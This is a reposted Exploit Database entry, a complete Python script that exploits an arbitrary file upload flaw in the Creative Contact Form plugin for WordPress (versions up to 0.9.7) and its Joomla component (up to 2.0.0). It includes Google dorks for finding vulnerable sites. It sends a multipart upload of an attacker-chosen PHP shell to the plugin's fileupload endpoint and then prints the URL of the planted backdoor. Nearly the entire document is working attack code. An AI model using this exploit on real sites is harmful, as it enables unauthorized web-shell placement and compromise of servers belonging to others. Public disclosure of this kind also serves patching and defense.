WordPress Plugin 0.9.7 / Joomla! Component 2.0.0 Creative Contact Form – Arbitrary File Upload

• Exploit Database
• 19 阅读

• 作者： Claudio Viviani
  日期： 2014-10-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35057/

• #!/usr/bin/python
  #
  # Exploit Name: WordPress and Joomla Creative Contact Form Shell Upload Vulnerability
  # WordPress plugin version: <= 0.9.7
  # Joomla extension version: <= 2.0.0
  # 
  # Vulnerability discovered by Gianni Angelozzi
  #
  # Exploit written by Claudio Viviani
  #
  # Dork google wordpress:inurl:inurl:sexy-contact-form
  # Dork google joomla :inurl:com_creativecontactform
  #
  # Tested on BackBox 3.x
  #
  # http connection
  import urllib, urllib2, sys, mimetypes
  # Args management
  import optparse
  # file management
  import os, os.path
  
  # Check url
  def checkurl(url):
  if url[:8] != "https://" and url[:7] != "http://":
  print('[X] You must insert http:// or https:// procotol')
  sys.exit(1)
  else:
  return url
  
  # Check if file exists and has readable
  def checkfile(file):
  if not os.path.isfile(file) and not os.access(file, os.R_OK):
  print '[X] '+file+' file is missing or not readable'
  sys.exit(1)
  else:
  return file
  # Get file's mimetype
  def get_content_type(filename):
  return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
  
  # Create multipart header
  def create_body_sh3ll_upl04d(payloadname):
  
   getfields = dict()
  
   payloadcontent = open(payloadname).read()
  
   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'
  
   L = []
   for (key, value) in getfields.items():
  L.append('--' + LIMIT)
  L.append('Content-Disposition: form-data; name="%s"' % key)
  L.append('')
  L.append(value)
  
   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body
  
  banner = """
  
  
  ___ ___ ____,-,__
   | Y .-----.----.--|.-----.----.-----.-----. |' '__| 
   |.| |_| _|_|_| _|-__|__ --| | __| 
   |. / \|_____|__| |_____| __|__| |_____|_____| |_______| 
   |:|_______ |__| __ |_|
   |::.|:. | | _ .-----.-----.--------|.---.-. 
   `--- ---' |___| |_|_|||_| 
   |.| |_____|_____|__|__|__|__|___._| 
   |:1 | 
   |::.. . | 
   `-------'
  _________ __ _______ ____
   | _ .----.-----.---.-||_|__.--.--.-----. | _ .-----.-----||_.---.-.----||_
   |.1___| _|-__|_| _||||-__| |.1___|_| | _|_|__| _| 
   |.|___|__| |_____|___._|____|__|\___/|_____| |.|___|_____|__|__|____|___._|____|____| 
   |:1 | _______|:1 |
   |::.. . || _ .-----.----.--------. |::.. . |
   `-------'|.1___|_| _|| `-------'
  |.__) |_____|__| |__|__|__|
  |:|
  |::.|
  `---'
   
  
   Cr3ative C0nt4ct Form Sh3ll Upl04d
  
   Discovered by:
   
  Gianni Angelozzi
  
  Written by:
  
  Claudio Viviani
  
   http://www.homelab.it
  
  info@homelab.it
  homelabit@protonmail.ch
  
  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/
   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  """
  
  commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')
  commandList.add_option('-t', '--target', action="store",
  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
  )
  commandList.add_option('-c', '--cms', action="store",
  help="Insert CMS Type: wordpress|joomla",
  )
  commandList.add_option('-f', '--file', action="store",
  help="Insert file name, ex: shell.php",
  )
  commandList.add_option('--timeout', action="store", default=10, type="int",
  help="[Timeout Value] - Default 10",
  )
  
  options, remainder = commandList.parse_args()
  
  # Check args
  if not options.target or not options.file or not options.cms:
  print(banner)
  commandList.print_help()
  sys.exit(1)
  
  payloadname = checkfile(options.file)
  host = checkurl(options.target)
  timeout = options.timeout
  cmstype = options.cms
  
  print(banner)
  
  if options.cms == "wordpress":
   url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php'
   backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/'
  
  elif options.cms == "joomla":
   url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'
   backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'
  
  else:
   print("[X] -c options require: 'wordpress' or 'joomla'")
   sys.exit(1)
  
  content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
  
  bodyupload = create_body_sh3ll_upl04d(payloadname)
  
  headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
   'content-type': content_type,
   'content-length': str(len(bodyupload)) }
  
  try:
   req = urllib2.Request(url_sexy_upload, bodyupload, headers)
   response = urllib2.urlopen(req)
  
   if "error" in response.read():
  print("[X] Upload Failed :(")
   else:
  print("[!] Shell Uploaded")
  print("[!] "+backdoor_location+options.file)
  except urllib2.HTTPError as e:
   print("[X] Http Error: "+str(e.code))
  except urllib2.URLError as e:
   print("[X] Connection Error: "+str(e.code))